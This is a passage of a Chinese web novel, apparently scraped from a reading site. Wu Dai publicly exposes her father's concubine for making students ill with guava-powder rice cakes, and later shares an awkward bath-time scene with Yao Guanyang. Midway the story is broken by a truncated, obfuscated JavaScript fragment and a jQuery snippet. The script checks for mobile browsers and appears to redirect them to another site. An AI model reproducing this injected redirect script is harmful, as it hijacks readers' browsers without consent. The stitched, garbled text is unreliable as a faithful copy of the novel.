吴黛不紧不慢道:“看来你是不见棺材不掉泪阿。”说完,她便派人去叫小菱。
小菱自然知道吴黛的意图,呼呼啦啦带了一众女使仆妇过来。
几人分别在沈银飞院中、厨房和前院干活服侍,吴黛见状,便对小菱的调查思路了然,不禁暗赞其做事周到。
沈银飞有些慌了,惊呼:“这是做什么?”
吴黛冷哼一声,道:“我看姨娘说不清楚事情的原委真相,那我便请别人来说。”说罢,她朝小菱使了个眼色。
小菱站到堂中央,对着吴柏田福了一福,道:“启禀郎主,昨日小娘子一回府便上吐下泻,郎君察觉事情不对,就让奴去调查了小娘子一日内的饮食,包括府里的和书院的。奴几经探访,今日已查明真相,一切都是昨日送到书院的云片糕惹的祸。”
沈银飞哭着拉扯吴柏田:“郎主莫听她瞎说,小菱是阿黛房里的,自然是阿黛让她怎么说便怎么说。”
小菱指了指她带来的一个女使,道:“小梨可是姨娘你的人,她的话总不会错吧。”
沈银飞冲小梨喊道:“小贱人我平日你对你不薄,你安的什么心思来挑拨离间?”
小梨忙跪下,支支吾吾不敢说话。
吴黛道:“小梨你别怕,你把之前对小菱说过的话,原原本本再说一遍,我保证没人敢为难你。”
小梨哆哆嗦嗦道:“奴......奴三日前依照沈姨娘的吩咐,去买了三大包番石榴粉,姨娘说......说这粉是要用来做云片糕的。奴......奴说做云片糕用不着那么多番石榴粉,可......姨娘说......说要放得越多越好。”
沈银飞急忙争辩:“妾光想着红心番石榴粉能上色,吃来又爽口,是做糕点的极佳用料,所以才想着多多益善,这何错之有?”
“我说你错了吗?你倒急着撇清。”吴黛冷声道。
沈银飞高声道:“是你在这又请证人,又调查真相的,分明都是冲着我来,我解释几句又怎么了?”
吴黛讥诮道:“恐怕姨娘心里也明白,多用番石榴粉对身体不好,所以才急着辩解吧?”
沈银飞一时无言以对,只好对着吴柏田又哭又喊:“吴郎,妾是百口莫辩啊,冤死了。”
吴柏田发话道:“阿黛,你到底什么意思?”
吴黛正色道:“爹,番石榴粉有通肠的功效,您应该也有耳闻,六年前大哥在外奔忙,饮食不当,得了便秘之症,我娘请大夫给他瞧病,大夫开了方子,让他服用添加番石榴粉的鸡汤,结果效果甚佳。”
吴柏田面露尴尬,他热爱生活喜爱自我享受,却鲜少管这些细节,对此节全然不知。
吴黛微微叹口气,道:“爹生意繁忙,不记得这事也不奇怪,可爹总记得那年吴盛闹肚子,罚了厨房好几个下人吧。”
吴柏田这下想起来了,那年吴盛溜到厨房拿东西吃,不慎吃坏了肚子,沈银飞迁怒厨房下人,怪他们看管不严,告到他跟前,被他狠罚了三个月月钱。
小菱上前道:“梅妈妈便是那年被罚者之一,她跟沈姨娘求过情,非是看管不严,而是二郎君执意要喝给大郎君通肠的番石榴鸡汤,他们也阻止不及。”
梅妈妈当年失了三个月月银,挨了丈夫一顿狠揍,至今对沈银飞颇有怨言,此刻马上道:“没错,当年奴的确曾向沈姨娘求过情,说过事情原委,也清楚地跟她讲过鸡汤内放有番石榴粉,才导致二郎君腹泻。”
前院的宋妈妈此时开口:“此事老奴可作证。”
沈银飞一看形势不对,连忙跪下,“吴郎,事情过了这么些年了,妾哪记得真切,今日之前,妾真不清楚那番石榴粉用多了会致病呀。妾只是一番好意,哪知道会害了书院,糕是妾让人做的,抵赖不得,吴郎要罚,妾也没话说。”
沈银飞哭得梨花带雨,吴柏田心下不忍,蹙眉叹气。
吴黛今日这番大阵仗,人证物证齐俱,让他不得不相信事实。
但他总觉得沈氏向来柔弱温婉,不像是会主动害人的性子,就算她有过错,也是无心之举,于是忍不住为她说话,“阿黛,我知道你为此事心力憔悴,可事已至此,我想你姨娘也得了教训,我们便也罚她三个月月银,下次不让她插手书院诸事便好。”
“教训?她得了哪门子教训了?”吴黛有些炸毛,不由得高声道,“她目的达成,卑鄙手段又一次得以掩饰。这样下去,她下一次还能够依样画葫芦,换个地方再来一遍!”
沈银飞大喊:“阿黛你现在好歹也是书院山长,怎好如此不敬长辈,随意污蔑?”
吴黛都气笑了,就你也配当我长辈。
吴柏田倒咂摸出味道了:“这话从何说起?什么叫‘又一次’?”
话都说到这个份上了,索性把帐一笔笔地都来算一下。
吴黛气愤道:“爹,金兵闯宅那日,我在后院,起先根本没人发现我,本可逃过一劫,沈姨娘主动将我出卖,这是其一。”
沈银飞立即反驳:“前厅后院一墙之隔,他们要发现你早晚的事,但那会儿阿盛性命攸关,妾真真是情急之下才出了下策,况且你那晚不也曾故意嫁祸于我?吴郎,那晚若不是来得及时,妾早赴黄泉了!”话音未落,又扑到吴柏田身上嘤嘤哭了起来。
你倒会恶人告状!
“那晚在池州平安客栈,我与......”吴黛气得差点把她对那晚的疑虑说出来,话到嘴边,望了满屋子的下人,终是咽了下去。心说,这一桩涉及自己脸面,暂且揭过。
沈银飞嘴角微不可见地扬了扬。
“还有一桩,便与我开办云章书院有关。”吴黛硬生生地转移话题,“大婚那日,爹你不是好奇我为何无缘无故地跟你要那处宅子吗。”
“你不是说早有开书院的打算?”吴柏田有点莫名。
吴黛:“我也是那天才想到,至于原因嘛......也与沈姨娘有关。”
沈银飞闻言,肩膀几不可见地抖了抖。
“因为那日有人看见她在内院与一个男人商谈,要打我娘嫁妆的主意!”吴黛一字一顿道。
“什么?”吴柏田见女儿对沈银飞恨意满满,越说越夸张,有些不可置信,“阿黛,爹知道你在气头上,可一码归一码,你不能把所有事都算到你姨娘头上!”
“爹,你能不能客观点?”吴黛恨铁不成钢道,“那可是小菱亲耳听到的。”
“没有的事,你们凭什么血口喷人?”沈银飞大喊。
吴黛不甘示弱:“小菱亲眼所见,亲耳所听,如有假话,天打雷劈!”
沈银飞咬牙道:“你们主仆一条心,黑的白的还不任由你们说?妾就是有一百张嘴都说不清。”
吴黛冷哼:“黑心黑胆如何能洗得白、抹得清?”
沈银飞一时噎住:“你......”
“行了,行了!”吴柏田被她们吵得头大,忙出声制止,“今日到此为止,阿黛,书院大事要紧,你先从公账上支二百两银子,好好给学生瞧病为上。”
他又转脸对沈银飞道:“从今日起,你须闭门思过,没有我的允许,不准踏出此院一步。”说罢,甩甩袖子,头也不回地往外走。
关于沈银飞下药和偷卖家产两桩事,吴黛虽拿出了证据,可也不够确凿,远不足以让吴柏田彻底信服。
他向来对沈银飞宠爱有加,正妻走后更是变本加厉,去年甚至有将她扶正的打算。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16843475|189019||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>吴黛深知沈银飞在父亲心中地位稳固,明白硬碰硬只会激怒他,得徐徐图之。今日之举,她本也没有指望能彻底扳倒她,只是想当众揭一揭她的真面目,在父亲心中动摇一下她的形象罢了。
既然吴柏田惩戒已施,她也算出了半口恶气,抬腿就走。
***
用了晚饭,回到自己院中,正好姚冠杨也刚回来。
吴黛心系学生,急切问道:“如何?”
姚冠杨喝了一口茶,叹道:“很多家长如鲁员外和简员外一般,气性很大,怨我们办事不周。还好我事先请杜监办帮忙,与他一同走访了几家,解释清楚其中原由,家长们才愿意配合,江大夫也一一给学生看了,都无大碍,只需喝药静养。”
“那便好,那便好。”吴黛点点头,“家长与家长更能共情沟通,得亏你想得周到,这一招很厉害。”
姚冠杨不好意思地笑笑,然后又想起了什么,道:“今日还有另一收获。”
吴黛:“什么?”
姚冠杨:“我回书院去瞧了瞧苏家父子......”
吴黛紧张道:“他们没事吧?我记得苏士升没吃云片糕呀,难道其他食物也有问题?”
“不是不是。”姚冠杨连忙摆手,“出了这么大的事,我想他们俩父子在书院住着,会心生不安,便去瞧瞧。”
吴黛松了一口气,“那你说的收获是......?”
姚冠杨笑吟吟道:“我去时,父子俩正在书桌前用功,边上放着两篇写好的策论,是苏应辰的字迹。我好奇心起,拿起来看了看,文章相当有水准。”
吴黛:“是吗?比咱们学生都好?”
姚冠杨从容分析:“论文采,顾炎平的文章最为灵动出挑,相较之下,苏应辰行文朴实;论典故运用,没人比得过章适和汪庸;论立意,杜晔向来出众。但苏应辰各方面都很稳,开篇破题流畅,论证细密,立意也高远,两篇文章都算上乘,是科考的好苗子。”
吴黛笑道:“看来我们姚先生很惜才嘛。”
姚冠杨斟酌道:“要不然......让他也参加书院的选试?”
吴黛闻言,思忖一番,严肃道:“若没有云片糕的祸事,我们倒真可以考虑一下,可眼下人人都为能否顺利参加选试担心,再加一个人进来竞争名额,岂不是火上浇油?”
姚冠杨深深叹了一口气,半晌才道:“也是。”
正说着,女使小萍进来,脆生生道:“奴伺候小娘子和郎君沐浴。”
“......”
平日里吴黛房中洗漱沐浴都是小菱贴身伺候,这会儿她被吴黛派去暗访沈银飞变卖家产之事,因而由小萍来顶替。
小萍见两人愣怔,笑道:“今日大厨房柴火多有剩余,便叫人送热水到各院。小娘子昨日不适,想是来不及擦洗,今日热水足够,小娘子洗多少遍都成。”
时人并非日日洗浴,吴黛平日里总抱怨热水不够用,所以才惹来小萍如此一说。
她轻咳一声,“那个......你把热水放好就行,不用伺候。”
小萍心领神会地掩嘴一笑,爽脆地应道:“是!”
随后她手脚麻利地将浴房里的大浴桶倒满水,放好浴巾、皂团、干净中衣便掩门退出,走前还道:“小娘子和郎君如若中间需要什么......喊奴就是了,奴会放在屏风旁的矮几上。”
吴黛望着“砰”地一下关上的门,一脸尴尬却没法言说。那死丫头满脑子什么有色画面呢,我可没洗鸳鸯浴的癖好!
她叹了口气,转身想跟姚冠杨论个沐浴的先后,却见他满脸通红,目光闪烁不敢直视。
好嘛,又是个脑内小剧场丰富的家伙!